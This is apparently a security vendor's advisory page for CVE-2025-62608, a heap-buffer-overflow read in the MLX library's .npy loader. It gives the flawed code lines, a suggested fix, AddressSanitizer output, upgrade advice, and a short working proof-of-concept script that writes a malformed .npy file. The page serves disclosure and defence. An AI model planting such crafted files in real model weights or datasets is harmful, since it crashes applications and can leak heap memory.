CVE-2025-62608

CVE-2025-62608 is a medium-severity security vulnerability in mlx (pip), affecting versions <= 0.29.3. It is fixed in 0.29.4.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

MLX has heap-buffer-overflow in load()

Heap buffer overflow in mlx::core::load() when parsing malicious NumPy .npy files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure.

Environment:

  • OS: Ubuntu 20.04.6 LTS
  • Compiler: Clang 19.1.7

Vulnerability

The parser reads a 118-byte header from the file, but line 268 uses std::string(&buffer[0]) which stops at the first null byte, creating a 20-byte string instead. Then line 276 tries to read header[34] without checking the length first, reading 13 bytes past the allocation.

Location: mlx/io/load.cpp:268,276

Bug #1 (line 268):

std::string header(&buffer[0]);  // stops at first null byte

Bug #2 (line 276):

bool col_contiguous = header[34] == 'T';  // No bounds check

Possible Fix

// Line 268
std::string header(&buffer[0], header_len);

// Line 276
if (header.length() < 35) throw std::runtime_error("Malformed header");

PoC

pip install mlx

# generate exploit
cat > exploit.py << 'EOF'
import struct
magic = b'\x93NUMPY'
version = b'\x01\x00'
header = b"{'descr': '<u2', 'fo\x00\x00\x00\x00n_order': False, 'shape': (3,), }"
header += b' ' * (118 - len(header) - 1) + b'\n'
with open('exploit.npy', 'wb') as f:
    f.write(magic + version + struct.pack('<H', 118) + header + b'\x00\x00\x00\x80\xff\xff')
EOF
python3 exploit.py

python3 -c "import mlx.core as mx; mx.load('exploit.npy')"

AddressSanitizer Output (with instrumented build):

=================================================================
==3179==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000000152 at pc 0x563345697c29 bp 0x7ffeb8ad0a50 sp 0x7ffeb8ad0a48
READ of size 1 at 0x503000000152 thread T0
    #0 0x563345697c28 in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:276:25
    #1 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10
    #2 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20
    #3 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #4 0x563342e1f1cd in _start (/home/user1/mlx/fuzz/load/poc_crash+0x9181cd) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)

0x503000000152 is located 13 bytes after 21-byte region [0x503000000130,0x503000000145)
allocated by thread T0 here:
    #0 0x563342efd66d in operator new(unsigned long) (/home/user1/mlx/fuzz/load/poc_crash+0x9f666d) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)
    #1 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct<char const*>(char const*, char const*, std::forward_iterator_tag) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.tcc:219:14
    #2 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct_aux<char const*>(char const*, char const*, std::__false_type) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:251:11
    #3 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct<char const*>(char const*, char const*) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:270:4
    #4 0x5633456956fe in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:531:9
    #5 0x5633456956fe in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:268:15
    #6 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10
    #7 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20
    #8 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/user1/mlx/mlx/io/load.cpp:276:25 in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>)
Shadow bytes around the buggy address:
  0x502ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x502fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x502fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x503000000000: fa fa 00 00 04 fa fa fa 00 00 00 00 fa fa 00 00
  0x503000000080: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
=>0x503000000100: 00 00 00 fa fa fa 00 00 05 fa[fa]fa fa fa fa fa
  0x503000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x503000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x503000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x503000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x503000000380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==3179==ABORTING

Impact

  • Attack vector: Malicious .npy file (model weights, datasets, checkpoints)
  • Affects: MLX users on all platforms who call the vulnerable methods with unsanitized input.
  • Result: Application crash + potential 13-byte heap leak

Credits:

  • Markiyan Melnyk (ARIMLABS)
  • Mykyta Mudryi (ARIMLABS)
  • Markiyan Chaklosh (ARIMLABS)

Affected versions

mlx (<= 0.29.3)

Security releases

mlx → 0.29.4 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade mlx to 0.29.4 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2025-62608? CVE-2025-62608 is a medium-severity security vulnerability in mlx (pip), affecting versions <= 0.29.3. It is fixed in 0.29.4.
  2. Which versions of mlx are affected by CVE-2025-62608? mlx (pip) versions <= 0.29.3 is affected.
  3. Is there a fix for CVE-2025-62608? Yes. CVE-2025-62608 is fixed in 0.29.4. Upgrade to this version or later.
  4. Is CVE-2025-62608 exploitable, and should I be worried? Whether CVE-2025-62608 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2025-62608 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2025-62608? Upgrade mlx to 0.29.4 or later.

Other vulnerabilities in mlx

CVE-IDSeverityPackage summary
CVE-2025-62609Mediummlx: MLX has Wild Pointer Dereference in load_gguf()

Stop the waste.
Protect your environment with Kodem.

Get a personalized demo
Get a personalized demo